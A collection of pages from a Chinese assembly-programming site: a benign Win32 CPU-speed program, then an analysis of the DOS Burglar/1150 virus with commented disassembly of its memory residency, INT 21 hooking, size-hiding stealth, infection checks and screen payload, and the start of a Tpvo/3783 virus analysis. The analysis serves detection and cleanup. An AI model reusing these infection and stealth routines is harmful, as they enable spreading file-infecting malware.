;	LuoYunBin's Win32 ASM page (罗云彬的编程乐园)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	版本信息
;	CPU 频率 - 利用586指令 rdtsc 计算CPU的频率
;	   V1.0 ------	2000年6月21日
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

        .586
        .model flat, stdcall
        option casemap :none   ; case sensitive

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

include		windows.inc
include		user32.inc
include		kernel32.inc
include		comctl32.inc
include		comdlg32.inc

includelib	user32.lib
includelib	kernel32.lib
includelib	comctl32.lib
includelib	comdlg32.lib

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Equ 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

DLG_MAIN	equ		1000
ID_SPEED	equ		1001

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

        .data?

dwTickCount	dd	?
dwTSC		dd	?,?
hInstance	dd	?
szBuffer	db	256 dup	(?)

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	子程序声明
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcDlgMain	PROTO	:DWORD,:DWORD,:DWORD,:DWORD

        .data

szSpeed		db	"你的CPU主频为 %d MHz",0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

        .code

include		Win.asm

;********************************************************************
_ProcDlgMain	proc	uses ebx edi esi, \
        hWnd:DWORD,wMsg:DWORD,wParam:DWORD,lParam:DWORD
        local	@stPoint:POINT
        local	@hWindow

        mov	eax,wMsg
        .if	eax == WM_CLOSE
            invoke	EndDialog,hWnd,NULL
            invoke	KillTimer,hWnd,1
        .elseif	eax == WM_INITDIALOG
            invoke	_CenterWindow,hWnd
            invoke	GetTickCount		;TSC 初始值
            mov	dwTickCount,eax

            rdtsc
            mov	dwTSC,eax
            mov	dwTSC+4,edx
            invoke	SetTimer,hWnd,1,1000,NULL
        .elseif	eax == WM_TIMER
            invoke	GetTickCount
            push	eax
            sub	eax,dwTickCount
            pop	dwTickCount
            push	eax

            rdtsc
            push	edx
            push	eax
            sub	eax,dwTSC
            sbb	edx,dwTSC+4
            pop	dwTSC
            pop	dwTSC+4

            mov	ecx,1000000
            div	ecx			;除以1Mhz=1000000hz
            .if	edx >= 500000h		;四舍五入
                inc	eax
            .endif
            mov	ecx,1000
            mul	ecx			;1秒=1000毫秒
            pop	ecx			;pop出经过的毫秒数
            div	ecx

            invoke	wsprintf,offset szBuffer,offset szSpeed,eax
            invoke	SendDlgItemMessage,hWnd,ID_SPEED,\
                WM_SETTEXT,0,offset szBuffer
        .else
;********************************************************************
;	注意：对话框的消息处理后，要返回 TRUE,对没有处理的消息
;	要返回 FALSE
;********************************************************************
            mov	eax,FALSE
            ret
        .endif
        mov	eax,TRUE
        ret

_ProcDlgMain	endp
;********************************************************************
start:
        invoke	GetModuleHandle,NULL
        mov	hInstance,eax
        invoke	DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,0
        invoke	ExitProcess,NULL

        end	start

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Burglar virus

Burglar 病毒的分析和防治

病毒介绍:

    Burglar 病毒，因病毒中有字符串 Grave，又称 Grave 病毒，病毒长度为 1150 字节，
所以有的地方又称它为 1150 病毒，它感染DOS的 .EXE 文件，不感染 Windows 的可执行文件
当病毒在内存中的时候，UMB 将无法找到，在运行 Windows 95 时经常引起死机。

病毒分析:

1. 病毒的引入部分
9F6A:0000 E95A03         JMP	035D
9F6A:0003           90 41 54 20 54-48 45 20 47 52 41 56 45     .AT THE GRAVE
9F6A:0010  20 4F 46 20 47 52 41 4E-44 4D 41 2E 2E 2E         OF GRANDMA...

;由于在病毒中能见到字符串 At the grave of grandma
;所以此病毒又称 Grave 病毒
                         ...

9F6A:035D 90             NOP
9F6A:035E 90             NOP
9F6A:035F BE0600         MOV	SI,0000 ===>	;本数据 0000 由传染时设置
9F6A:0362 8BFE           MOV	DI,SI 		;解密原文件头
9F6A:0364 E88600         CALL	03ED		;病毒在保存原文件头信息时先加密
9F6A:0367 56             PUSH	SI 		;所以在使用时要先解密

; MOV AX，F078 再执行 INT 21H 是病毒用于检测自己是否驻留内存的标志
;可以以此来判断内存中有无病毒

9F6A:0368 B430           MOV	AH,30
9F6A:036A 80C448         ADD	AH,48
9F6A:036D B0F0           MOV	AL,F0
9F6A:036F 86E0           XCHG	AH,AL
9F6A:0371 CD21           INT	21 		;驻留检测
9F6A:0373 0BC0           OR	AX,AX 		;已驻留转 03C8
9F6A:0375 7451           JZ	03C8

9F6A:0377 BF7777         MOV	DI,7777
9F6A:037A 90             NOP
9F6A:037B 4F             DEC	DI
9F6A:037C 90             NOP
9F6A:037D 90             NOP
9F6A:037E 75FA           JNZ	037A

9F6A:0380 1E             PUSH	DS 		;程序 PSP 段地址 - 1 为内存控制块
9F6A:0381 8CC3           MOV	BX,ES
9F6A:0383 4B             DEC	BX
9F6A:0384 8EDB           MOV	DS,BX 		;MCB 地址
9F6A:0386 BB0200         MOV	BX,0002 	;是否最后一块 MCB
9F6A:0389 807FFE5A       CMP	Byte Ptr [BX-02],5A	;不驻留
9F6A:038D 7536           JNZ	03C5

9F6A:038F B95600         MOV	CX,0056		;截取 0560H 字节内存
9F6A:0392 294F01         SUB	[BX+01],CX 	;将此块内存减少 0560H 字节
9F6A:0395 294F10         SUB	[BX+10],CX
9F6A:0398 8E4710         MOV	ES,[BX+10]

;由于病毒将最后一块内存控制块打断，造成系统常规内存跟 UMB 分离，
;结果当病毒驻留内存时，用 MEM 或 MI 将看不到 UMB，这也可以用来
;判断内存中是否有病毒

9F6A:039B 33C0           XOR	AX,AX
9F6A:039D 8ED8           MOV	DS,AX
9F6A:039F C5878200       LDS	AX,[BX+0082]
9F6A:03A3 2E8984A700     MOV	CS:[SI+00A7],AX ;截取 INT 21
9F6A:03A8 2E8C9CA900     MOV	CS:[SI+00A9],DS
9F6A:03AD 0E             PUSH	CS
9F6A:03AE 1F             POP	DS
9F6A:03AF 33FF           XOR	DI,DI
9F6A:03B1 B93505         MOV	CX,0535		;驻留内存
9F6A:03B4 FC             CLD
9F6A:03B5 F3             REPZ
9F6A:03B6 A4             MOVSB
9F6A:03B7 8ED9           MOV	DS,CX
9F6A:03B9 FA             CLI
9F6A:03BA 8C878400       MOV	[BX+0084],ES	;设置新 INT 21 到 CS:0058
9F6A:03BE C78782005800   MOV	Word Ptr [BX+0082],0058
9F6A:03C4 FB             STI
9F6A:03C5 07             POP	ES
9F6A:03C6 06             PUSH	ES
9F6A:03C7 1F             POP	DS
9F6A:03C8 90             NOP
9F6A:03C9 5E             POP	SI
9F6A:03CA 90             NOP
9F6A:03CB 8CC3           MOV	BX,ES 		;重定位 CS:IP 及 SS:SP
9F6A:03CD 83C310         ADD	BX,+10
9F6A:03D0 2E019C0B04     ADD	CS:[SI+040B],BX
9F6A:03D5 2E019C0304     ADD	CS:[SI+0403],BX
9F6A:03DA 2E8E940304     MOV	SS,CS:[SI+0403]
9F6A:03DF 2E8BA40504     MOV	SP,CS:[SI+0405]
9F6A:03E4 33C0           XOR	AX,AX
9F6A:03E6 33DB           XOR	BX,BX 		;执行原程序
9F6A:03E8 2EFFAC0904     JMP	FAR CS:[SI+0409]

;======================================================================
;加解密原文件头
;病毒加密源文件头的方法是按字将文件头 000A * 2 字节跟 7776 异或
;这也是解毒时解密原文件头的办法
9F6A:03ED 50             PUSH	AX
9F6A:03EE 81C70304       ADD	DI,0403
9F6A:03F2 B90A00         MOV	CX,000A
9F6A:03F5 B87677         MOV	AX,7776
9F6A:03F8 90             NOP
9F6A:03F9 2E3105         XOR	CS:[DI],AX
9F6A:03FC 47             INC	DI
9F6A:03FD 90             NOP
9F6A:03FE E2F9           LOOP	03F9
9F6A:0400 58             POP	AX
9F6A:0401 C3             RET
2. 病毒的传播部分

;=========================================================================
;新的 INT 21 之 11,12 功能
;这两个 DOS 功能常用于 DIR 命令
;病毒在送回目录项之前先将染毒文件长度减去 1150 字节
;结果用 DIR 命令看不到染毒文件长度的增加

9F6A:001E 2EFF1EA700     CALL	FAR CS:[00A7] 	;调用原 DOS 功能
9F6A:0023 9C             PUSHF
9F6A:0024 3CFF           CMP	AL,FF 		;失败转 0054 退出
9F6A:0026 742C           JZ	0054
9F6A:0028 90             NOP
9F6A:0029 50             PUSH	AX
9F6A:002A 56             PUSH	SI
9F6A:002B 1E             PUSH	DS
9F6A:002C 2E8B362F05     MOV	SI,CS:[052F] 	;取 DTA 地址
9F6A:0031 2E8E1E3105     MOV	DS,CS:[0531]
9F6A:0036 803CFF         CMP	Byte Ptr [SI],FF
9F6A:0039 7503           JNZ	003E 		;是否扩展 FCB
9F6A:003B 83C607         ADD	SI,+07          ;是, 转 0054
9F6A:003E 8A4417         MOV	AL,[SI+17] 	;传染标志
9F6A:0041 241D           AND	AL,1D
9F6A:0043 3C1D           CMP	AL,1D
9F6A:0045 750A           JNZ	0051
9F6A:0047 90             NOP
9F6A:0048 816C1D7E04     SUB	Word Ptr [SI+1D],047E
9F6A:004D 835C1F00       SBB	Word Ptr [SI+1F],+00
9F6A:0051 1F             POP	DS 		;如果传染
9F6A:0052 5E             POP	SI 		;文件长 - 1150 字节
9F6A:0053 58             POP	AX
9F6A:0054 9D             POPF
9F6A:0055 CA0200         RETF	0002 		;INT 21 返回
;====================================================================
;	新的 INT 21 中断入口
;====================================================================
9F6A:0058 2EC606330500   MOV	Byte Ptr CS:[0533],00
9F6A:005E 9C             PUSHF
9F6A:005F 3D78F0         CMP	AX,F078 	;驻留检测
9F6A:0062 90             NOP	 		;入口  AX = F078
9F6A:0063 7506           JNZ	006B 		;返回  AX = 0000
9F6A:0065 33C0           XOR	AX,AX
9F6A:0067 9D             POPF
9F6A:0068 CF             IRET
9F6A:0069 90             NOP
9F6A:006A 90             NOP
9F6A:006B 90             NOP
9F6A:006C 80FC11         CMP	AH,11 		;11,12 功能 (DIR)
9F6A:006F 74AD           JZ	001E 		;转 001E
9F6A:0071 80FC12         CMP	AH,12
9F6A:0074 74A8           JZ	001E
9F6A:0076 80FC3D         CMP	AH,3D		;打开文件
9F6A:0079 7442           JZ	00BD
9F6A:007B 80FC43         CMP	AH,43		;取/改文件属性
9F6A:007E 743D           JZ	00BD
9F6A:0080 80FC13         CMP	AH,13		;使用 FCB 删除文件
9F6A:0083 7432           JZ	00B7
9F6A:0085 80FC36         CMP	AH,36		;取磁盘剩余空间
9F6A:0088 742D           JZ	00B7
9F6A:008A 80FC4B         CMP	AH,4B		;执行文件
9F6A:008D 90             NOP			;13/36 功能在磁盘上
9F6A:008E 90             NOP	 		;寻找一个文件传染
9F6A:008F 742C           JZ	00BD 		;3D/43/4B/6C 功能直接传染
9F6A:0091 80FC6C         CMP	AH,6C
9F6A:0094 7427           JZ	00BD
9F6A:0096 80FC1A         CMP	AH,1A
9F6A:0099 750A           JNZ	00A5 		;设置 DTA 地址
9F6A:009B 2E89162F05     MOV	CS:[052F],DX 	;则保存 DTA 地址于 052F
9F6A:00A0 2E8C1E3105     MOV	CS:[0531],DS
9F6A:00A5 9D             POPF
9F6A:00A6 EAF8401100     JMP	0011:40F8 	;其它则转原 INT 21
9F6A:00AB 90             NOP
9F6A:00AC 90             NOP
;从以上代码可以看出，病毒在打开文件，执行文件，提交文件，修改文件属性
;取磁盘空间等功能都要进行传染，而这些功能在一个普通文件的执行过程中
;几乎百分百的被用到，造成病毒的传播很快

;=========================================================================
9F6A:00AD 86E0           XCHG	AH,AL 		;病毒调用 INT 21
9F6A:00AF 90             NOP
9F6A:00B0 9C             PUSHF
9F6A:00B1 2EFF1EA700     CALL	FAR CS:[00A7]
9F6A:00B6 C3             RET
9F6A:00B7 2EC6067E0401   MOV	Byte Ptr CS:[047E],01 ;设置 DIR 传染标志
;==========================================================================
9F6A:00BD 90             NOP
9F6A:00BE 50             PUSH	AX
9F6A:00BF 53             PUSH	BX
9F6A:00C0 51             PUSH	CX
9F6A:00C1 52             PUSH	DX
9F6A:00C2 1E             PUSH	DS
9F6A:00C3 06             PUSH	ES
9F6A:00C4 56             PUSH	SI
9F6A:00C5 57             PUSH	DI
9F6A:00C6 80FC6C         CMP	AH,6C		;6C 功能文件名入口 DS:SI
9F6A:00C9 7502           JNZ	00CD 		;更改到 DS:DX
9F6A:00CB 8BD6           MOV	DX,SI
9F6A:00CD 2E803E7E0401   CMP	Byte Ptr CS:[047E],01
9F6A:00D3 7406           JZ	00DB 		;如果在 DIR 中传染,转 00DB
9F6A:00D5 E87900         CALL	0151		;传染文件
9F6A:00D8 EB5C           JMP	0136
9F6A:00DA 90             NOP
;========================================================================
9F6A:00DB 0E             PUSH	CS
9F6A:00DC 1F             POP	DS
9F6A:00DD C606340500     MOV	Byte Ptr [0534],00
9F6A:00E2 B02F           MOV	AL,2F		;取 DTA 地址
9F6A:00E4 E8C6FF         CALL	00AD
9F6A:00E7 06             PUSH	ES
9F6A:00E8 53             PUSH	BX
9F6A:00E9 B01A           MOV	AL,1A 		;设置新 DTA 到 04E5
9F6A:00EB BAE504         MOV	DX,04E5
9F6A:00EE E8BCFF         CALL	00AD
9F6A:00F1 B04E           MOV	AL,4E		;寻找文件 *.*
9F6A:00F3 B92700         MOV	CX,0027
9F6A:00F6 BA2704         MOV	DX,0427
9F6A:00F9 E8B1FF         CALL	00AD
9F6A:00FC 7230           JB	012E
9F6A:00FE A0FB04         MOV	AL,[04FB] 	;找到的文件
9F6A:0101 241D           AND	AL,1D 		;是否已传染
9F6A:0103 3C1D           CMP	AL,1D
9F6A:0105 7423           JZ	012A 		;已传染找下一文件
9F6A:0107 833E010500     CMP	Word Ptr [0501],+00
9F6A:010C 7508           JNZ	0116
9F6A:010E 813EFF04E803   CMP	Word Ptr [04FF],03E8
9F6A:0114 7214           JB	012A 		;文件 < 03E8 找下一文件
9F6A:0116 C70625050305   MOV	Word Ptr [0525],0503
9F6A:011C BA0305         MOV	DX,0503 	;0525 为文件名指针
9F6A:011F E82F00         CALL	0151 		;传染文件
9F6A:0122 2E803E340503   CMP	Byte Ptr CS:[0534],03
9F6A:0128 7404           JZ	012E 		;0534 为传染是否成功
9F6A:012A B04F           MOV	AL,4F 		;如果成功退出
9F6A:012C EBCB           JMP	00F9 		;否则找下一文件
9F6A:012E 5A             POP	DX
9F6A:012F 1F             POP	DS
9F6A:0130 9C             PUSHF
9F6A:0131 B41A           MOV	AH,1A 		;恢复原 DTA 地址
9F6A:0133 CD21           INT	21
9F6A:0135 9D             POPF
9F6A:0136 5F             POP	DI
9F6A:0137 5E             POP	SI
9F6A:0138 07             POP	ES
9F6A:0139 1F             POP	DS
9F6A:013A 5A             POP	DX
9F6A:013B 59             POP	CX
9F6A:013C 5B             POP	BX
9F6A:013D 58             POP	AX
9F6A:013E 2EC6067E0400   MOV	Byte Ptr CS:[047E],00 	;清 DIR 传染标志
9F6A:0144 2E803E330501   CMP	Byte Ptr CS:[0533],01 	;????
9F6A:014A 7502           JNZ	014E
9F6A:014C 33DB           XOR	BX,BX
9F6A:014E E954FF         JMP	00A5
;==================================================================
;传染文件子程序
9F6A:0151 8BF2           MOV	SI,DX
9F6A:0153 2E89162505     MOV	CS:[0525],DX
9F6A:0158 90             NOP	 		;此循环为寻找
9F6A:0159 AC             LODSB	 		;全路径文件名中
9F6A:015A 0AC0           OR	AL,AL 		;文件名的起始地址 => 0525
9F6A:015C 740F           JZ	016D
9F6A:015E 3C5C           CMP	AL,5C		;'\'
9F6A:0160 7404           JZ	0166
9F6A:0162 3C3A           CMP	AL,3A		;':'
9F6A:0164 75F3           JNZ	0159
9F6A:0166 2E89362505     MOV	CS:[0525],SI 	;0525 为文件名开始指针
9F6A:016B EBEC           JMP	0159

9F6A:016D 80FC4B         CMP	AH,4B		;执行文件转 0182
9F6A:0170 90             NOP	 		;
9F6A:0171 740F           JZ	0182 		;
9F6A:0173 817CFB2E45     CMP	Word Ptr [SI-05],452E 	; "E."
9F6A:0178 7507           JNZ	0181
9F6A:017A 817CFD5845     CMP	Word Ptr [SI-03],4558 	; "EX"
9F6A:017F 7401           JZ	0182 		;扩展名是 .EXE 转传染
9F6A:0181 C3             RET
9F6A:0182 0E             PUSH	CS 		;判断是否传染文件
9F6A:0183 07             POP	ES
9F6A:0184 2E8B362505     MOV	SI,CS:[0525]
9F6A:0189 BF0E04         MOV	DI,040E
9F6A:018C AD             LODSW
9F6A:018D B90700         MOV	CX,0007 	;文件名开始为
9F6A:0190 F2             REPNZ			;LC,WH,BT,-F,CW,KT
9F6A:0191 AF             SCASW	 		;的文件不传染
9F6A:0192 7417           JZ	01AB
9F6A:0194 2E8B362505     MOV	SI,CS:[0525]
9F6A:0199 AC             LODSB
9F6A:019A 3C00           CMP	AL,00
9F6A:019C 740A           JZ	01A8
9F6A:019E 3C56           CMP	AL,56		;文件名中包括
9F6A:01A0 7409           JZ	01AB 		;V 和 S 字母的不传染
9F6A:01A2 3C53           CMP	AL,53
9F6A:01A4 7405           JZ	01AB
9F6A:01A6 EBF1           JMP	0199
9F6A:01A8 E80100         CALL	01AC 		;传染其它文件名的文件
9F6A:01AB C3             RET
;======================================================================
;	开始传染可执行文件
;======================================================================
9F6A:01AC 8CDB           MOV	BX,DS 		;设置新 INT 24
9F6A:01AE 33C0           XOR	AX,AX 		;到 CS:042B
9F6A:01B0 8ED8           MOV	DS,AX
9F6A:01B2 FF369000       PUSH	[0090]
9F6A:01B6 FF369200       PUSH	[0092]
9F6A:01BA C70690002B04   MOV	Word Ptr [0090],042B
9F6A:01C0 8C0E9200       MOV	[0092],CS
9F6A:01C4 8EDB           MOV	DS,BX
9F6A:01C6 B84300         MOV	AX,0043 	;取文件属性
9F6A:01C9 E8E1FE         CALL	00AD
9F6A:01CC 1E             PUSH	DS
9F6A:01CD 52             PUSH	DX
9F6A:01CE 51             PUSH	CX
9F6A:01CF 33C9           XOR	CX,CX 		;设置文件属性
9F6A:01D1 B84301         MOV	AX,0143 	;为可读写
9F6A:01D4 E8D6FE         CALL	00AD
9F6A:01D7 7308           JNB	01E1
9F6A:01D9 2EFE063405     INC	Byte Ptr CS:[0534]
9F6A:01DE EB65           JMP	0245
9F6A:01E0 90             NOP
9F6A:01E1 B83D02         MOV	AX,023D 	;打开文件
9F6A:01E4 E8C6FE         CALL	00AD
9F6A:01E7 7309           JNB	01F2
9F6A:01E9 2EFE063405     INC	Byte Ptr CS:[0534]
9F6A:01EE EB55           JMP	0245
9F6A:01F0 90             NOP
9F6A:01F1 90             NOP
9F6A:01F2 93             XCHG	AX,BX
9F6A:01F3 B85700         MOV	AX,0057 	;取文件时间
9F6A:01F6 E8B4FE         CALL	00AD
9F6A:01F9 2E890E2905     MOV	CS:[0529],CX
9F6A:01FE 52             PUSH	DX
9F6A:01FF 90             NOP
9F6A:0200 0E             PUSH	CS
9F6A:0201 1F             POP	DS
9F6A:0202 0E             PUSH	CS
9F6A:0203 07             POP	ES
9F6A:0204 B03F           MOV	AL,3F		;读文件头 66H 字节
9F6A:0206 BA7F04         MOV	DX,047F 	;到 047F
9F6A:0209 B96600         MOV	CX,0066
9F6A:020C E89EFE         CALL	00AD
9F6A:020F A17F04         MOV	AX,[047F]
9F6A:0212 90             NOP
9F6A:0213 3D5A4D         CMP	AX,4D5A 	;.EXE 文件转 0222
9F6A:0216 90             NOP
9F6A:0217 7409           JZ	0222
9F6A:0219 3D4D5A         CMP	AX,5A4D
9F6A:021C 90             NOP
9F6A:021D 7403           JZ	0222
9F6A:021F EB14           JMP	0235 		;非 .EXE 文件不传染
9F6A:0221 90             NOP
;===================================================================
;传染 .EXE 文件
9F6A:0222 A09304         MOV	AL,[0493] 	;.EXE 文件传染标志
9F6A:0225 3478           XOR	AL,78		;文件头中 IP xor CRC = 78
9F6A:0227 38069104       CMP	[0491],AL
9F6A:022B 7408           JZ	0235 		;未传染转 025D
9F6A:022D EB2E           JMP	025D
9F6A:022F 90             NOP	 		;传染成功设置传染标志
9F6A:0230 830E29051D     OR	Word Ptr [0529],+1D 	;时间设置为 1D
9F6A:0235 5A             POP	DX
9F6A:0236 8B0E2905       MOV	CX,[0529]
9F6A:023A B85701         MOV	AX,0157 	;恢复文件时间
9F6A:023D E86DFE         CALL	00AD
9F6A:0240 B03E           MOV	AL,3E		;关闭文件
9F6A:0242 E868FE         CALL	00AD
9F6A:0245 B84301         MOV	AX,0143 	;恢复文件属性
9F6A:0248 59             POP	CX
9F6A:0249 5A             POP	DX
9F6A:024A 1F             POP	DS
9F6A:024B E85FFE         CALL	00AD
9F6A:024E 33C0           XOR	AX,AX 		;恢复原 INT 24
9F6A:0250 8ED8           MOV	DS,AX
9F6A:0252 8F069200       POP	[0092]
9F6A:0256 8F069000       POP	[0090]
9F6A:025A 0E             PUSH	CS
9F6A:025B 1F             POP	DS
9F6A:025C C3             RET
;======================================================================
;开始传染 .EXE 文件
9F6A:025D BE7F04         MOV	SI,047F 	;SI 指向文件头
9F6A:0260 90             NOP
9F6A:0261 C70627050000   MOV	Word Ptr [0527],0000
9F6A:0267 8B543C         MOV	DX,[SI+3C] 	;取 NE 文件头偏移
9F6A:026A 8B4C3E         MOV	CX,[SI+3E]
9F6A:026D B80042         MOV	AX,4200
9F6A:0270 CD21           INT	21
9F6A:0272 B90200         MOV	CX,0002 	;读出 NE 文件头 2 字节
9F6A:0275 BA2705         MOV	DX,0527
9F6A:0278 B43F           MOV	AH,3F
9F6A:027A CD21           INT	21
9F6A:027C 813E27054E45   CMP	Word Ptr [0527],454E
9F6A:0282 7502           JNZ	0286 		;是 "NE" 新格式文件
9F6A:0284 EBAF           JMP	0235 		;不传染
9F6A:0286 B002           MOV	AL,02 		;4202 功能
9F6A:0288 E8C900         CALL	0354 		;取文件长度
9F6A:028B 83FA06         CMP	DX,+06 		;> 393216 字节不传染
9F6A:028E 77A5           JA	0235
9F6A:0290 0BD2           OR	DX,DX
9F6A:0292 7507           JNZ	029B
9F6A:0294 3D0001         CMP	AX,0100 	;< 256 字节不传染
9F6A:0297 7702           JA	029B
9F6A:0299 EB9A           JMP	0235
9F6A:029B 52             PUSH	DX
9F6A:029C 50             PUSH	AX
9F6A:029D 8B4404         MOV	AX,[SI+04]
9F6A:02A0 8B7C02         MOV	DI,[SI+02]
9F6A:02A3 0BFF           OR	DI,DI
9F6A:02A5 7401           JZ	02A8
9F6A:02A7 48             DEC	AX
9F6A:02A8 B90002         MOV	CX,0200
9F6A:02AB F7E1           MUL	CX
9F6A:02AD 03C7           ADD	AX,DI
9F6A:02AF 83D200         ADC	DX,+00
9F6A:02B2 5F             POP	DI
9F6A:02B3 3BF8           CMP	DI,AX		;如果文件有覆盖部分
9F6A:02B5 5F             POP	DI 		;不传染
9F6A:02B6 75E1           JNZ	0299
9F6A:02B8 3BFA           CMP	DI,DX
9F6A:02BA 75DD           JNZ	0299

                         ...

;以下病毒具体传染文件的代码不是本文讨论的对象，故略去
                         ...
;在传染完成后，病毒转发作部分，此病毒的发作是非恶性的

9F6A:0329 B42C           MOV	AH,2C		;取系统时间
9F6A:032B CD21           INT	21
9F6A:032D 80F90E         CMP	CL,0E 		;分钟数为 14 则发作
9F6A:0330 751F           JNZ	0351
9F6A:0332 BE1E04         MOV	SI,041E 	;在屏幕左上角
9F6A:0335 B800B8         MOV	AX,B800 	;打印 Burglar 字样
9F6A:0338 8ED8           MOV	DS,AX
9F6A:033A 33FF           XOR	DI,DI
9F6A:033C B90900         MOV	CX,0009
9F6A:033F 2E8A04         MOV	AL,CS:[SI]
9F6A:0342 46             INC	SI
9F6A:0343 8805           MOV	[DI],AL
9F6A:0345 47             INC	DI 		;属性为加亮闪烁
9F6A:0346 C6058F         MOV	Byte Ptr [DI],8F
9F6A:0349 47             INC	DI
9F6A:034A E2F3           LOOP	033F
9F6A:034C B97777         MOV	CX,7777 	;延时
9F6A:034F E2FE           LOOP	034F
9F6A:0351 E9DCFE         JMP	0230
;===================================================================
;移动文件指针子程序
9F6A:0354 33C9           XOR	CX,CX
9F6A:0356 33D2           XOR	DX,DX
9F6A:0358 B442           MOV	AH,42
9F6A:035A CD21           INT	21
9F6A:035C C3             RET
9F6A:0402        90 BC 06 81 01 9C-88 01 01 01 01 E7 43 4C    .<.........gCL
9F6A:0410  48 57 54 42 46 2D 57 43-54 4B 00 00 00 00 42 75  HWTBF-WCTK....Bu
9F6A:0420  72 67 6C 61 72 2F 48 2A-2E 2A 00 32 C0 CF 00 00  rglar/H*.*.2@O..
9F6A:0430  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9F6A:0440  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9F6A:0450  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9F6A:0460  00 00 00 00 78 F0 00 00-19 04 0C 00 00 00 BC 15  ....xp........<.
9F6A:0470  BC 15 06 70 A3 10 78 03-8A 17 65 0F 05 00 00
9F6A:047F                                               4D  <..p#.x...e....M
9F6A:0480  5A C4 01 28 00 00 00 02-00 3D 0B FF FF B2 04 84  ZD.(.....=...2..
9F6A:0490  04 7E 89 06 00 B2 04 1C-00 00 00 64 69 65 74 F9  .~...2.....diety
9F6A:04A0  9C EB 09 69 42 0A 00 A8-B8 55 F8 9C 06 1E 57 56  .k.iB..(8Ux...WV
9F6A:04B0  52 51 53 50 0E FC 8C C8-BA 52 07 03 D0 52 BA 79  RQSP.|.H:R..PR:y
9F6A:04C0  06 52 BA BC 04 03 C2 8B-D8 05 0E 03 8E DB 8E C0  .R:<..B.X....[.@
9F6A:04D0  33 F6 33 FF B9 08 00 F3-A5 4B 48 4A 79 EE 8E C3  3v3.9..s%KHJyn.C
9F6A:04E0  8E D8 BE 67 00                                   .X>g.
9F6A:04E5                 01 3F 3F-3F 3F 3F 3F 3F 3F 3F 3F       .??????????
9F6A:04F0  3F 27 0D 00 00 00 12 E0-1E 00 20 FA 99 27 21 67  ?'.....`.. z.'!g
9F6A:0500  59 00 00 56 49 52 2E 4C-53 54 00 45 00 00 00 00  Y..VIR.LST.E....
9F6A:0510  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9F6A:0520  00 00 00 00 00 38 05 00-00 7D 97 00 00 00 00 80  .....8...}......
9F6A:0530  00 6F 18 00 03 00 00 00-00 00 00 00 00 00 00 00  .o..............
9F6A:0540  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

杀毒要点：

由于病毒加密原文件头，在解毒时要先将原文件头解密，具体杀毒的步骤见
我提供的以下源程序：

  • kv.asm 我编写的一个全盘搜索的程序
  • k_1150.asm 杀 1150 病毒的子模块
  • k_monkey.asm 杀 Monkey 病毒的子模块
  • k_3783.asm 杀 3783 病毒的子模块
  • scanf.asm 公用输入模块
  • printf.asm 公用输出模块

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Tpvo/3783 virus

Tpvo/3783 病毒的分析和防治

病毒介绍:

    TPVO/3783 病毒是一种传染性、隐蔽性都很强的病毒，它的独到之处是可以传染 WINDOWS 文件，使病毒可以在  WINDOWS  执行时驻留内存。
    该病毒传染硬盘、软盘引导区及 WINDOWS、DOS 可执行程序，包括.EXE.COM.OVL.386 等等文件，不传染带覆盖的文件，程序被传染后长度增加 3783 字节， 文件日期被
加上 100 年作为传染标记。
    该病毒驻留内存后，用 DIR 命令看不出文件长度的变化，用 INT 13H  读出的磁盘引导记录是正常的，而不是带毒的引导记录，用应用程序读出的带毒文件也都是正常的，
但是由 ARJ、PKZIP、RAR、LHA、BACKUP、MSBACKUP、TELIX  七个程序读出的文件却是带毒的，所以被这些压缩程序压进文件包或用 TELIX  通过调制解调器传到其他地方的文件
是带毒的，由此可见该病毒在隐藏和传播上的用心良苦。
    该病毒在传染硬盘主引导区时隐藏于 0 柱面 0 头 5 扇区，传染软盘引导区时隐藏于新格式化的第 81 个磁道，传染文件时附在文件尾部，病毒本身不加密。
当带毒的 WINDOWS 系统运行时，根目录中的虚拟内存文件 386SPART.PAR 属性会变成普通属性，用 DIR 命令可以列出。

病毒分析:

1. 驻留内存及截取中断

    该病毒采用修改内存控制块的方法来驻留内存，如果 UMB 存在，病毒会驻留在 UMB中，该病毒驻留内存后截取 INT 21H 和 INT 13H 中断，来完成对文件和引导区的传染，
在截取 INT 21H 时，该病毒采取了与众不同的方法。下面是 INT 21H 内部片断，在中断程序完成了初始化后，将 AH 中的功能号放在 BX 中再乘 2，再用查表的办法得到相应子
程序的地址，然后用近调用来执行相应子程序，具体见下：
     ．．．
     FDC8:4198 8ADC        MOV  BL,AH           ；AH 为子功能号
